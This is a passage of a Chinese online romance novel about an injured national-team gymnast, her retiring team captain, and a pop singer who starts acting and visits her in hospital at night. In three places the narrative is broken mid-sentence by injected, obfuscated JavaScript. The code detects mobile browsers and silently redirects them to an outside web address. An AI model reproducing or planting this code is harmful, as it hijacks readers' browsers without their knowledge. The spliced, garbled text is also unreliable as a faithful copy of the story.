“也不是。主要最近工作都挤在一块了,明后天要把拍戏耽误的工作都补回来,所以进组前就得通宵看剧本啦。” 虞落听着都觉得累,但又不知道该怎么关心才显得既不生疏又不暧昧,只好问道,“你怎么突然去拍戏了?” 虞落经常听刘欣羽说堂徵这么帅的脸不去拍戏真是可惜了,刚说完又自己反驳自己,我家阿徵志不在此,阿徵只要在他的音乐路上坚定不移就好啦。 对面发来一个叹气的表情,说道,“被资产阶级压榨呗。” 还挺形象的,今天坐他旁边的女人看着确实很严肃,虞落躲在被窝里“吃吃”地笑了几声,“今天发布会上坐在你旁边的那位女士就是你老板?” “对,赵老妖婆。” 噗,还挺会起外号。 堂徵很快又发来一条消息,“你呢,明天什么安排?” “明天在宿舍里休息休息吧。”还没想好具体做什么,但不想出门。 “你这几天是在放假?”堂徵之前听卓远说过,好像大赛后都会放几天假,放完假就会回到各自的省队训练。 “对。” “那你怎么不回家?” 手在打字框里愣了一下,想了想,虞落回道,“有点事,过几天就回了。” “什么事?” 对面秒问,虞落开始纠结要不要说。 其实也不是什么大事,但虞落就是不想搞得人尽皆知,不管是不是熟人、真不真心,都得来关心一句。 堂徵见虞落不回答,也不想她为难,“没事,不用告诉我,你们运动员肯定也有很多需要保密的事。” “我下次要是踩雷了,你就发这个。”后面跟了微信里一根手指放在嘴唇上噤声的表情。 心里突然流过一条潺潺的小溪,不疾不徐。 虞落突然明白了自己为什么和堂徵认识没几天却很愿意和他聊天,堂徵真的是个很贴心的人,和他聊天是件很舒服的事情。 “你们应该也有很多不为人知的圈内秘密吧?”娱乐圈水深,虞落明白,但没法将这摊浑水和堂徵联系在一起,他更像出淤泥而不染的莲。 “话虽如此,但你要是问我,我可一定会知无不言言无不尽的。”听着像是玩笑,但堂徵的确是诚心诚意说出来的,反正他也没有什么见不得人的。 虞落突然觉得脸上烫烫的,看了眼空调遥控器,二十六度,和平常一样,不高呀? 也许是极度放松带来的舒适,虞落打了个哈气,睡意又回来了,她给堂徵发了句,“我困了,我再睡会。你也抓紧时间补点觉吧,老年人通宵对身体不好。” 还记着自己发的那句“年轻人”呢,堂徵咧嘴抱着手机傻笑了一会才回过神来,回了句,“晚安。” 又等了半天,对面没再回消息过来了,堂徵才放下手机。 还看什么剧本?人家都说了,对身体不好,上床睡觉! 再次醒来,阳光已经透过窗帘布找到了桌子上,留下了大大小小的光斑。 睡了十几个小时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15069355|163127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不需要洗脸虞落就已经够清醒了,背着手摸到床头柜上的手机,已经九点半了。 堂徵又发了两个消息来。 “早安。”后面配了张睡眼惺忪的自拍。 原来真的听自己的话没有通宵,虞落扬起嘴角回了句早安。 洗漱完翻出之前的咖啡豆,放进咖啡机里,磨了杯咖啡,再取出牛奶勾了个笑脸,一天的好心情从这个笑脸开始。 啊不对,应该从那句早安开始的。 咖啡,再配一片全麦面包,就当作是早餐了,再连上蓝牙音箱,放会音乐,很久没有这么惬意了。 突然房间里响起规律的敲门声,天坛公寓里住的都是国家队的,安保很严,这个时候来敲门应该只有目前还留在北京的张清澜了。 果然是她,虞落比赛后还没有单独和张清澜见过面,热情把她迎进来,“清澜姐,你怎么来了?” 张清澜温柔回应,“隔着几个宿舍我都闻到熟悉的咖啡香啦,来要一杯。” 虞落很喜欢张清澜,她是队里的大姐姐,每次有什么事她都会第一个站出来开导大家。 “清澜姐,你怎么没回家呀?”虞落边煮咖啡,边回头问道。 “我和卓远准备在北京玩几天,然后就回家。你怎么还没回?” 张清澜和卓远都是西安人,前后年入的队,已经在一起一年多了,是队里人人祝福的一对。 “朱导认识个医生,周一要带我去见见。”咖啡很快就好了,虞落递给张清澜。 “还是十字韧带吗?”张清澜关心道。 “嗯,没事,小伤。”虞落活动了下腿,以示自己没事,倒是张清澜显得心事重重,“清澜姐,你有什么事吗?” 张清澜小啜了一口咖啡,缓缓道,“落落,我准备退役了。” 退役。 虞落瞳孔剧烈收缩,一时不知道该说什么,嘴微张又微合,发不出半个音节。 她从来没把“退役”两个字和队里的任何一个人联系在一起过,尤其是张清澜,她是队长,奥运选拔赛上,她也是以最高的成绩被选上的。 张清澜笑了笑,开口道,“我天赋不算好,能上两届奥运已经是运气很好了,而且,我都23啦,这个年纪退役不算早。” 虞落有些着急,“这和年龄又无关,清澜姐你的实力摆在那啊,东京周期要是没有你我们怎么办。” 张清澜摇了摇头,“我的伤也一直没手术,为了奥运一直在保守治疗,这次已经联系好医生了,手术后还要复健,也不知道能恢复成什么效果。光是想想这些就已经累了。如果这样还是不能坚持到东京,那又有什么意义呢?” 张清澜一直都是开导别人的角色,虞落第一次见到她露出软肋,一时也不知道该说什么,“那,王妈妈和朱导知道吗?” 张清澜点点头,“嗯,已经和他们商量过了,他们尊重我的选择。” “小美人,你可得好好练啊,队长的重任可就落在你身上了。”注意到虞落脸上的担忧之色,张清澜开起了玩笑。 虞落倒是没想过队长的事情,“欣欣和小洁也很厉害,后面还有新人呢,我做完手术都不知道会是什么水平。” 张清澜拍了拍虞落的肩,“欣欣和小洁大大咧咧的,没你细心,新人上来还需要一段时间,你为了咱们队都要好好恢复,知道吗?” 虞落感到眼角有些湿润,但又不想露了怯,干脆换个话题,“那远哥呢?” “卓远状态挺好的,他说要坚持到东京呢。”一提到卓远,张清澜就洋溢着一脸甜蜜。 虞落打趣道,“那你们准备什么时候结婚呀?” 张清澜脸上泛起一抹红晕,“这次回家也是准备见家长,如果顺利的话,就快了吧。” 虞落替他们两感到开心,“婚礼可一定要请我们啊,我、欣欣和小洁都一直想当伴娘的。” 张清澜也应道,“那必须的呀,咱们队里的一个都不能少。” 8. 8 张清澜话里的“退役”两个字成了块是块千斤的石头,狠狠砸入了虞落心里,直到她人已经走了,石头还沉在心底,连“早安”带来的好心情都烟消云散了。 直到堂徵再次发来消息,虞落才发现已经到了饭点。 随便换了件衣服,出门的时候,旁边那个空空的床铺毫无征兆地闯入眼帘,那个回家的女孩离开前一天蹭在衣服上的眼泪好像还没干,也不知道她现在怎么样了,虞落的脚步更沉了。 去食堂要了一荤一素,顺便回了堂徵的消息。 “早上拍了两个广告,第二个导演事特别多,我吃汉堡都吃到吐了。” 虞落漫不经心地回了句,“哈哈哈。” 堂徵很快捕捉到了什么,“心情不好?” “你怎么知道?”这个男人的心思真的比很多小女孩都要细腻。 “你什么时候回过我哈哈哈?事出反常必有妖。” 一句玩笑话,再加一个表情包,虞落还真被逗笑了,“没有妖,只是在想一些事情。” “什么事情?跟我说说呗。” 堂徵确实是个很值得交流心事的人,但...虞落想了想,还是婉拒了,“说来话长,有机会再说吧。” 周成涛收拾着箱子,看到堂徵一脸吃瘪,揶揄道,“怎么了大明星?被拒绝啦?” 堂徵一脚踹过去,“闭嘴!” 让人闭嘴没多久,堂徵还是疑惑道,“女生都是这么阴晴不定吗?” 周成涛很快抓住关键信息,“女生?哪位?虞落?” 堂徵身边连个异性动物都没有,所以很好猜,一猜即中。 堂徵也不否认,“对啊,明明昨晚聊的好好的,怎么现在突然又不愿说了呢?” “昨晚?大晚上的你们还聊天?”周成涛瞪大了眼睛。 “大晚上聊天怎么啦?纯聊天,你这人怎么这么封建?”堂徵翻了个白眼。 “你敢说对人家没意思?” 堂徵还真放下手机,认真思考了一下,然后一脸真诚地答道,“没有。” “信你的鬼话!”周成涛斜睨他一眼。 “不是,你这个人思想怎么就这么歪呢?跟你说也说不清!” “行行行,那你别说,快过来收拾东西!时间提前了,晚上就要进组。” 只有那老妖婆才天天管堂徵谈不谈恋爱,周成涛才不在意呢。讲真,他还挺希望堂徵别一门心思扑在工作上。 “哎呀,你先收拾着,我还没想好怎么回人家呢。” 周成涛无语,这还没成呢,就已经把兄弟抛到一边了。 一整个下午虞落都因为“退役”两个字心乱得很,堂徵也不回自己消息,虞落虽然把手机放在了一边,但恨不得眼睛都要长在手机上了。 如果退役了,清澜姐可以做什么?当教练?还是结了婚带孩子? 清澜姐家里条件不好,很小的时候爸妈就生病走了,她才从业余体校转成了专业的,家里一个伯伯养了她三年,却月月要从她的体校补贴里扣点钱,美其名曰“生活费”。等到了15岁,清澜姐就从伯伯家搬出来,可是她伯伯一直以“养了她的名义”找她要钱,有几次都要到国家队里来了,清澜姐能坚持到今天已经很不容易了。 清澜姐说得没错,她的年龄在体操女队里已经算是“高龄”了,这次里约也没拿到理想的名次,回去还要做手术,退役,似乎确实是更稳妥的选择。 她和清澜姐的伤都在十字韧带,那清澜姐是因伤退役,自己也要退役了吗?如果周一见了医生,医生也建议她做手术怎么办?做了手术是不是就会无法恢复到术前的水平了? 心里有好多好多担忧,但不知道该怎么说,也不知道该跟谁说,心里对周一去见医生又多了层抵触。 “王妈妈,清澜姐真的要退役了吗?”虞落突然问了王则月一句没头没脑的话,王则月也没问她是怎么知道的,只是给了肯定的回复,没再多解释什么。 虞落决定还是去运动一会,以前烦躁的时候,只有训练可以把所有的烦恼都排解出来。 换了身体操服去五棵松体育馆,膝盖突然开始一抽一抽地疼。 其实之前每周按摩已经好很多了,只有阴雨天,或者像是在里约水土不服才会疼,虞落也没太放在心上。 稍微做了点准备活动,拉了拉韧带,虞落就上了平衡木。 托马斯全旋上,还行,不是特别疼。 单腿劈叉跳,连一个转体,交换腿劈叉跳,再连一个转体,腿好像比刚刚更疼了些,连接也没那么顺畅了,但虞落还是想坚持一下,做完一个成套。 蹲转还行,伤的那条腿不用蹲,并腿小翻双足落,没站稳,歪了一下,虞落摇了摇头,试图把那些杂念都甩出脑外。 后拔腿立转360°,难度不算是最高的,虞落深呼了一口气,虽然断了连接,但还是要做好。 以踮起的脚趾为支点,双手抱着自由腿,开始旋转,感觉好像旋了好几圈,但又像是半圈都没到,虞落只感觉脚趾突然一松,人一歪,就从那条其实也没那么窄的平衡木上摔了下来。 平衡木说高也不高,一米二五,习惯了也就不会畏惧,体育馆的设备旁边也都有保护的软垫,从刚开始练体操到今天都数不清摔了多少次,爬起来重来就是。 但虞落突然觉得自己像是被涂了强力胶,怎么也离不开软垫了。 怎么回事?没来由的恐惧笼罩了心头,手机呢? 脑子一片空白,什么也想不起来了,只能把事情一件件重头捋。 背包被锁在了馆外的柜子里,平时训练都不让带手机的。 想起来了!今天不是正式训练,她就把手机带进来了,放在哪来着?放在...好像在周围的长凳上。 好远...站不起来... 虞落拼尽了全身力气,拖着伤腿,尽力往长凳的方向爬。 阳光透过窗帘的缝隙细细碎碎地射进来,天气很好,灿烂得不像样子,除了浸透了体操服和让软垫上的女孩精疲力尽外,场馆里所有的器械都被镀了一层金,在光的笼罩中熠熠生辉。 虞落挪动了好久,平时只需要几分钟就可以走到的地方,花光了她所有的力气,也不知道过了多久,终于够到了手机,从列表里翻到了王则月,打过去,对面很快就接起来了。 朱良和王则月这几天回家了,赶来还需要一段时间,队医先到的,快速判断要送医院,几个队医搞来一个担架,虞落还扯了一个笑,“不用这么大阵仗吧。” 王勉是一直跟进虞落的伤情的主队医,平时也把这姑娘当自己的孩子心疼,看到她这么不珍惜自己的身体不由凶道,“知道自己的伤还瞎搞?还想不想练体操了?” 虞落理亏,垂下眼帘,脑子里都是张清澜那句“手术后还能不能恢复到术前水平”。 王则月和朱良直接到的医院,一进病房就劈头盖脸一顿骂,“谁让你私自训练的?嫌三天假多了是吧?以后干脆别放假!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15069356|163127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是心疼更多一点,骂了两三句,王则月就拉着朱良去找医生问情况了。王勉已经和医生交流过了虞落平时的伤病情况,医生也直奔主题。 “我的建议还是手术。其实运动员的伤病更应该及时治疗,越拖越麻烦。” 朱良点点头,一脸虚心取经,“是是是,您说的是,那您看,手术之后大概能恢复到什么水平啊?” 医生皱了皱眉头,“这不太好说啊,得看手术情况,也要看手术后的恢复和复健水平,每个人情况都不大一样。” 朱良脸上的乌云又更深了一层,“那手术后大概多久才能进行训练呢?这孩子平时训练就很努力,可以尽量让她早点进行训练吗?” 医生被逗笑,“你这个教练明明心里一直想着他们,刚刚在里面还一直黑着个脸。你也别太心急了,这孩子还年轻,伤也没严重到那个程度,只要复健做得好,一般来讲都还是可以恢复到术前水平的。” 朱良倒有些不好意思了,赔笑道,“是是,要不是她自己偷偷加训,也不至于到今天这个地步,医生还是谢谢您了。” 医生挥了挥手,微笑道,“能看出来病人还是很心急训练的,你们这段时间还是要多安抚好病人的情绪,治疗期间心情很重要,好心情也是有助于恢复的。” 王则月点点头,“嗯,谢谢医生,我们会注意这方面的,您先去忙吧。” 看着医生的背影,朱良还在嘟囔,“我还没问完呢,你就把医生赶走干什么?” 王则月无奈道,“你本来不就是找了你的老同学打听过吗?你都准备那么详细了还逮着医生一个劲问,人家医生又不是只有落落一个病人。” 朱良想了想王则月说得确实有道理,也就作罢,“行了,先去看看落落吧,这孩子真不听话!”说完就急匆匆准备进病房。 王则月拉住朱良,“哎你等等,平时你最心疼的也是落落,还说她训练最努力,现在又来训她。等会进去脾气别那么冲,语气放缓和一点,听到没?” 朱良听进去了,有点挂不住脸,就没回头,只是摆了摆手,“我都知道。” 王则月跟在朱良身后,心里吐槽,还嘴硬呢。 堂徵在沙发上瘫了半天,憋了一句,“现在的机会就很好啊!我正好有几个小时休息的时间,晚上就要进组了。” 还在纠结虞落那句“有机会再说”呢。 趴着等了一会,微信没什么动静,堂徵翻了个身,叹了口气,“老周,你说,她为什么不回我啊!” 周成涛默默把衣服一件一件叠好,塞进行李箱,回道,“你知道你现在这样像什么吗?” 堂徵一个激灵,从沙发上探出了个头,“像什么?” “等待主人喂食的小狗。” “...”堂徵从沙发上抓起一个抱枕扔过去,“谁小狗,你才小狗。” 周成涛吐槽道,“你幼不幼稚,你看看你现在这样,心理年龄像是才上幼儿园,难怪人家姑娘不想搭理你。” 堂徵难得没有回嘴,反而眼睛一亮,“那你说我该怎么办?女生是不是都喜欢那种特成熟,特会照顾人的?”边说手还边比划,“我怎么才能变成那种?” 周成涛扔过去一个大袋子,语重心长道,“学会自己收拾行李,是成长的第一步。” “滚!小爷我就逗逗你,你还当真了!”堂徵扔过去第二个抱枕。 不过嘴上说着不要,堂徵还是从沙发上爬了起来,帮着收拾起行李。 9. 9 堂徵平时生活其实也比较简单,带的行李不多,周成涛和他一人拉个箱子自己开车就去了横店。 就在北京的东城区那边,几个小时就到了,下车正好迎面遇上演女主角的那位,小助理在旁边推了三四个箱子。 趁着还没走到需要打招呼的距离,周成涛先拉过堂徵,小声叮嘱道,“曼曼,女主,演你老婆的。” 堂徵在墨镜后翻了个白眼,“好好说话,什么老婆,她姓曼?” 周成涛悄悄掐了下他的腰,“艺名,你不懂?你姓阿?” 曼曼很热情,摘掉墨镜,率先走上来伸出手,“阿徵你好啊,我是曼曼,接下来的合作多多指教哦。” 堂徵直接忽略掉伸过来的手,“没法指教,我是第一次拍戏。”说完就直接推着箱子进了酒店办入住。 周成涛也直接忽略僵在原地的曼曼,没打招呼,跟着堂徵就进来了,“这么不给人家面子啊?” “她脸上涂那么多粉,我都没看清长什么样,给什么面子?”堂徵话说得理直气壮。 “你是要把耿直人设进行到底了?” “你明明知道我最讨厌老妖婆营销得那一套了,我就这性格,改不掉了。”堂徵从周成涛手中接过房卡,“我之前连电视剧都没拍过,她还来请我指教?” “行,我以后不说‘耿直’了。”周成涛心下明白自己踩了雷,退了一步又好言劝几句,“好歹还要一起拍一个多月呢,这刚开始就闹矛盾不好吧?” “我就是这种惺惺作态的女的不顺眼,拍完不来往不就行了。”堂徵的性格圈内人都知道个几分,不喜欢的他都不来往,愿意往来的都是真交情。 两人办好入住,拉着行李转身,没料到身后就直直地站着曼曼,脚边是两个大箱子,小助理还在老远处推着另外两个箱子。 堂徵的眼神飘过曼曼看向身后的小助理,淡淡说了句,“老周,去帮帮她。”说完自己就先走了,也懒得管曼曼脸上捉摸不透的颜色。 堂徵没去过别的剧组,不知道普遍的住宿情况是怎么样。 《云端》剧组定的是普通套房,他和周成涛能在一个酒店,还一人一个普通套房,在他来看就还不错。 周成涛很快也上来了,“得,见面第一天背后说人坏话就翻车了,尴尬吗?” “谁丑谁尴尬,我又没说错。”堂徵依旧理直气壮,“你来这干嘛,你今晚要睡这?” 周成涛举手投降,“行,我走。” 出门装上了一个人,是那个小助理,周成涛还挺意外,“有什么事吗?” “我,我叫郑添澄。”小助理不知道是因为刚入行,还是被压迫得久了,说话感觉怯生生的,“刚刚谢谢您,还有阿徵老师。” 还用了“您”,这小助理还挺有趣。周成涛笑了笑,摆摆手,“举手之劳,不用挂怀。” 月华如水,郊区的风带来些城区没有的夏日凉爽,堂徵没开空调,坐在飘窗旁,也挺舒服。 虞落到现在还没回消息,堂徵能感觉到虞落并不是个冷漠的人,只是比较慢热,面对不熟的人没那么多话,但也都会回消息,很有礼貌,像今天这样不回,倒是很反常。 好奇心像个猫爪子,快把堂徵的心挠烂了。 往下划着微信列表,突然看到一个熟悉的名字,想了想,打了个语音通话过去。 对面过了好久才接,传来满是疲惫的声音,“喂,什么事?” 堂徵有些诧异,“你怎么了?这几天不是放假吗?怎么听着这么累?” 对面安静了一下,许久才说,“家里出了点事。” “叔叔阿姨怎么了?”堂徵一下子急了。 他和卓远是很小的时候在芭蕾班认识的,那个时候学芭蕾的男生很少,班里也只有他和卓远两个男生,“共患难”的交情就这么留下了,后来卓远被选去练了体操,两个人见面就少了,但依旧保持着联系。 “不是他们,是清澜,清澜家里不同意我们两的事,然后还...哎呀,我爸妈就被气着了。”卓远一时也不知道该怎么描述这件事,太乱了,他自己都还没整理好思绪。 堂徵记得卓远的女朋友,好像叫张清澜,很清秀,人也温柔,堂徵对她印象很好,“清澜家里为什么不同意啊?你们俩不是挺好的?” 卓远叹了口气,“我们俩事挺好的,但是,清澜家里的情况比较复杂,唉,我一时半会也解释不清楚,后天我就回西安了,回去看看情况吧。” 叔叔阿姨身体没事就好,堂徵稍稍放心了些,安慰道,“你也别太着急了,要不改签一下,明天就回去呗?早点回去解决,说不定双方父母见到你们本人了态度就会好一点。” “明天回不了,明天央视对出征奥运的几个运动员有个采访,我和清澜都得去。”卓远解释道。 听到“出征奥运的几个运动员”,堂徵不由加快了心跳,一边害怕电话那头能听到自己不正常的心跳声,又抑制不住一下下快速跳动,“就你和张清澜吗?你们不是有好几位都参加了奥运吗?” 自以为高明的旁敲侧击,实际上拙劣得很,不过卓远现在没有心情去深究这么多,“就我和清澜,本来落落也是要去的,但她今天下午旧伤复发了,我和清澜还准备明天结束去看看她。” “旧伤复发!”堂徵没忍住惊叫了一声,很快也压制住了自己的声音,假装平静地继续掩饰道,“也是,你们运动员应该伤都挺多的。所以她到底怎么了?严重吗?” “得做手术,估计十天半个月好不了。落落一直都很努力,每天都加练,这伤也不是一天两天的了,清澜还想着家里的事处理完再回来陪陪她呢。”卓远平时也很照顾虞落,只是现在他也是自顾不暇,实在分不了这么多心。 “还要做手术?那不是会很影响训练吗?那做完手术还能继续参加比赛吗?”堂徵又连着追问了好几句。 “肯定多多少少都会有影响,朱导最近也一直在四处找人打听呢。”卓远突然警觉,“不对啊,你怎么突然落落这么关心了?” 堂徵打哈哈道,“没有啊,我就是想多了解了解。那个,你先去忙,你好好处理家里的事啊。对了,你要是回去替我去看看我爸妈啊。” “行,我知道了,你放心吧。”卓远和堂徵的工作性质都顾不上家里,两个人每次回家都会看看对方的父母。 挂了电话,堂徵在飘窗旁坐了会,也不知道坐了多久,反正就随便想了些事情,再次回神的时候,周成涛不知道什么时候站在自己后面。 每次出差的时候,他们俩都会互拿一张对方的房卡,这样方便一些。 “想什么呢?一脸思春的样子。” “虞落好像旧伤复发了,这两天估计得做手术。”面对周成涛,堂徵也不隐瞒。 “这么严重?那你不得去看看她?”周成涛开始了碎碎念,“哎不行不行,太引人注目了。但不去看吧,不会影响你们俩纯洁的革命友谊吧?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15069357|163127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“纯洁的革命友谊”几个字被咬得很重,别有一番意味。 “那肯定得有影响啊!”堂徵思索了一番,“你快去联系医院,给虞落升级到VIP病房。” 周成涛“啧啧”了几下,提醒道,“别在这开玩笑了,我来是为了提醒你,今晚剧组聚餐,吴导想先和你们熟悉熟悉,时间差不多到了,该出发了。” “行,走吧。”堂徵起身,从衣帽架上取下外套,又回头叮嘱了一句,“我可没开玩笑啊,升级病房的事情快点办。” “是是是,我的堂大祖宗。” 手术定在了周二,八月二十号,好日子。 术前的生活很无聊,爸妈在自己摔下来那天晚上就连夜赶来了,和两个指导一起每天轮流陪着她,说是陪,其实就是在她想起身动一动的时候把她按回到病床上,在她准备玩手机的时候抽走手机,让她好好休息。虞落每天只能躺在病床上瞎想。 住进医院的第二天早上,周成涛就亲自来了一趟,说是要给她升级病房,虞落拒绝了,又不是什么好事,怎么事事都要VIP呢?堂徵好像很忙的样子,那天下午之后就没怎么给她发过消息了。 卓远和张清澜在第二天下午一起来过一次,两人陪虞落聊了很久,只不过都满脸愁容,虞落干脆把他们赶走了,先安心回家处理事情吧。 刘欣羽被省队的教练扣下了,没有假,来不了。不过她的关心已经通过语音里的大嗓门传递到了病房里每一个人的耳朵里。 手术是早上九点开始。 朱导特地找他的老同学主刀。 每次巡房,朱导都要问好几遍“手术到底有没有风险”,医生本来也不紧张,前几次都还笑呵呵地答,“朱良你也太信不过我了。”到后来,医生也紧张起来,“你这么宝贝这个徒弟,那你自己来手术!我怕是伤了她一根毫毛你都要来跟我拼命。” 离手术还有一个小时的时候,余绢和虞明港、王则月和朱良都坐不住了,在病房里走来走去,两个人还背着虞落念念叨叨,也不知道在说什么。 虞落心态还挺好的,手术好像就一个小时左右,睡一觉的时间大概就结束了,“朱导,王妈妈,你们俩在说什么见不得人的事情啊?”还难得开了个玩笑,“搞得跟谈恋爱似的。” 王则月叉着腰瞪了她一眼,“你都被刘欣羽那丫头给带坏了!” 反倒是余绢和虞明港在一旁想开导虞落却插不上话,只能尴尬地对望。 尴尬的气氛没有维持很久,很快便有护士送来手术服,余绢和王则月一起陪着虞落去卫生间换了衣服,王则月又叮嘱了几句,余绢没说什么,只是把虞落抱进怀里,耳语了一句,“别害怕。” 简简单单三个字,差点把虞落眼泪给逼出来,趁两个“妈妈”不注意,侧过头擦掉了眼角的一点点泪珠。 被推进手术室的那一刻,虞落才开始真正紧张起来,黑溜溜的眼珠上下转了几圈,把手术室打量了个遍,灯光很亮,照得有些角落白得过分,虞落看不清,更添了几分慌乱。 很快,朱导的老同学就走过来了,轻轻拍了拍她,“别紧张,打麻药了,到时候不会有感觉的。” 虞落乖乖点了点头,看着医生把注射器里的液体一点点推进自己的身体里。 大概是打的全麻的缘故,虞落对于手术中的事情基本没什么记忆了,本来是一直睁着眼睛看着天花板的,后来...后来就睡着了,再次醒来便是在之前一直住的病房里。 10. 10 “卡。”副导演走上前递了杯水,“阿徵辛苦了,今天收工了。” 工作人员也都纷纷喊道,“辛苦啦。” 堂徵笑着道了声谢,从副导演手里接过热水,等工作人员都离开了,才转身对周成涛说,“几点了?” “三点半,回去还能睡会。”连续好几天都是大夜,紧接着第二天又要早起,这四天堂徵一共只睡了十个小时左右,周成涛看着都心疼,“没想到这拍戏比平时排练还难。” “我倒觉得还好,拍戏也挺有趣的。”刚刚拍的是男主跳湖自尽的那场戏,水滴滴答答顺着发丝流到了肩上,衣服上留下大大小小的湿点,堂徵从周成涛手里接过毛巾,擦了擦头发。 “怎么,准备跨界了?要投身演艺行业了?” 堂徵还真认真思考了一下,“也不是不可以,等我在音乐上玩腻了,我就来给电影圈增加点压力。” “得了吧。”周成涛故作嫌弃道,心里也明白这只是玩笑话,堂徵是不会放下音乐的,“行了,快回吧。” 从拍戏现场再回到酒店差不多需要一个小时,路不是很好,坑坑洼洼,周成涛又开得比较慢,耗时一般会更长些。 堂徵每天都坚持自己带车来,不想跟剧组的车,时间又不固定,也就没叫司机跟着。 他和周成涛换着开,来的时候他开,回去太晚了怕他过劳出事,周成涛开。 周成涛每次都催着让他在车上眯一会,但车摇摇晃晃,闭上眼睛反而更难受,堂徵就趁这个时间刷会手机。 基本每天也就这么几十分钟能看会手机。 想过虞落,其实每天都有在想,但不知道为什么一打开和虞落的聊天框,他总有种落差感,这几天乱七八糟的工作反而能让他放下一些。 今天最后一场戏是男主家里逼着他娶女主,男主不愿意,再加上职场失意,甚至想要投河自尽,女主一直在笨拙地爱着男主,见男主跳了河也跟着跳下去,救了男主,这也是最终促成这段婚姻的关键转折点。 那场戏NG了好几次,堂徵没法集中精神,台词念着念着就只是嘴巴在动了,脑子里一下子跳转到了好多地方,在机场初遇,在故宫重逢,在夜里聊天,现在又突然断联。 没什么别的想法,就只是想和她聊聊天,问问她近况,和她说一说自己第一次拍戏的一些事情...... 无数个想法促使堂徵不再纠结,打开聊天框,飞快地输入想了很久的四个字,“你在干嘛?” 发过去后才觉得自己问得很傻,这个点不在睡觉难道还能和上次一样巧合吗?自己没头没尾地突然来这么一句会不会显得很突兀? 纠结还是在冲动之后来了,堂徵长按了自己发的消息,很快屏幕上便显示了一句,“您撤回了一条消息”,却不在最底下。 最下面是虞落回的一句:“没事干”。 没等堂徵反应过来,对面紧跟着又发来一个问号,似乎是在问他为什么撤回。 堂徵本来半躺在后座上,看到消息“噌”地一下子坐直,本就摇晃的车厢又“遭了一击”,周成涛在前面问道,“祖宗您干嘛呢?” 堂徵哪有心思理他?指甲有段时间没剪了,打字的时候和手机屏产生了“嗒嗒”的声音,传到耳朵里还挺愉悦,“这个点你怎么没睡觉?” “白天睡太多了,现在睡不着。” 脑子里突然闪过一个大胆的想法,“你现在一个人吗?” 虞落偏了偏头,看了眼行军床上熟睡的余绢,回道,“我妈妈今晚陪床,在我旁边。” “那,方便见个面吗?” “?” “什么意思?” 虞落一连回了好几条,说不清是真的没懂堂徵的意思,还是在确定心里的猜想。 堂徵没回,看了眼时间,三点五十,还来得及,双手撑着前排的座椅,上半身探到前面去,急道,“快!去北大三附院!” “什么?”周成涛难以置信,“你突然去医院干嘛?那可是反方向哎。” 堂徵也不解释,只是一个劲催着,“快调头,快,尽快到!” 周成涛只好由着这位祖宗先调个头,“不是,那你也得给我解释一下吧?” 堂徵看方向对了才放下心来,给虞落发了句,“等我。”,这才抬头解释道,“去探病。” 周成涛疑惑道,“探病?谁生病了?这个点探病不太好吧?” 堂徵这才意识到什么,支支吾吾道,“没谁,先去就行了。” 这个回答简直比直接说出来还要明显,周成涛变调“哦”了一声,“都懂都懂。” 余绢陪床的时候坚持晚上不能彻夜开空调,就把窗户留了条缝。入夜,温温热热的夏风穿过小缝钻进房间里,吹在虞落的脸上像只温柔的手,软软的,痒痒的,就像现在的心情。 “等我。” 什么意思?他现在要来吗?疯了吧。 来了怎么办?妈妈还在旁边呢。自己现在也不能动,也不能出病房。 发个消息让他别来了吧,也不知道该怎么措辞,又得解释一大堆,还是算了。 很久以后,虞落回想起这个有些疯狂又有些奇妙的夜晚时,才意识到,那个时候的自己没有发消息拒绝或许是希望堂徵来的。 等的时间还是挺久的,四点不到发的消息,六点多才等到人,即使五点左右的时候睡意拂面,虞落还是一直掐着胳膊让自己别睡着。 当门上的透明框里突然出现一张脸的时候虞落还是被吓了一跳。 鸭舌帽下的头发乱糟糟的,墨镜取下,眼下的乌青很明显,摘了口罩对自己笑了下又很快带上了,伸出一双大手使劲跟自己挥来挥去,像个傻子。 其实才五天没见,但感觉像过了五年,唯有云淡风轻的笑容没变。 “我就不进来了,免得把阿姨吵醒,在门外陪陪你。”堂徵举了下手机,示意虞落看消息。 虞落失笑,还真是又疯又傻,半夜过来就只是为了隔着门发消息? 不过既然来了,是为了什么也就不重要了。 “不会被拍到吗?” 这姑娘怎么这么担心会不会被拍到?“被拍到多好,你就火了。”堂徵玩笑道。 虞落失笑,“大可不必。” 堂徵还是认真解释了句,“这个点没什么人,而且我的行程这段时间都在横店,也不会有狗仔跟着我。” “你这么晚没睡,是还在工作?”记得上次他也是工作到四点,大明星都是在夜里工作的? “最近在拍戏,这几天都是大夜,先把夜戏拍完,后面就会轻松一点。” 